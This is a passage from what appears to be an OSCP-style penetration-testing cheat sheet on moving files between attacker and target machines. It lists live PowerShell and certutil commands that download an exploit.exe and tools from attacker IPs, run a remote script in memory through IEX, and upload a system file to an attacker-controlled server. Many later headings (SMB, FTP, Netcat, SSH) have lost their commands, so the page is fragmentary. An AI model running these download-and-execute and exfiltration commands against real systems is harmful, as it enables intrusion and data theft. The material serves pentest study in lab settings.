πFile Transfer
For more detailed methods: https://hackersinterview.com/oscp/oscp-cheatsheet-windows-file-transfer-techniques/
Use my transfile.sh script from here
Windows
Powershell
Download file
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/exploit.exe', 'exploit.exe')Download and execute without saving on disk
powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')To encode using powershell:
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))To upload using powershell
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')Invoke-FileUpload -Uri http://10.10.14.24:80/upload -File C:\Windows\System32\drivers\etc\hostsCMD
certutil -urlcache -f ${file url} filenamepowershell wget -Uri http://192.168.45.183/plink.exe -OutFile C:\Windows\Temp\plink.exeLinux and Windows
Python Server
Attacker:
OR
Target:
Download
Upload:
To base64 encode:
Apache Server
SMB
Attacker:
Target(powershell):
or
FTP :
Attacker : To Host
Target:
To Upload:
Attacker:
Target:
Webdav (If port 445 restrictions present)
Attcker:
target:
Linux
If no write permissions:
Bash
Netcat
To read files:
To receive:
Using netcat to send files:
Target
Attack
SSH
If creds are available
Base64
Linux
To get base64 output of the file:
Decrypt
Powershell
Last updated
Was this helpful?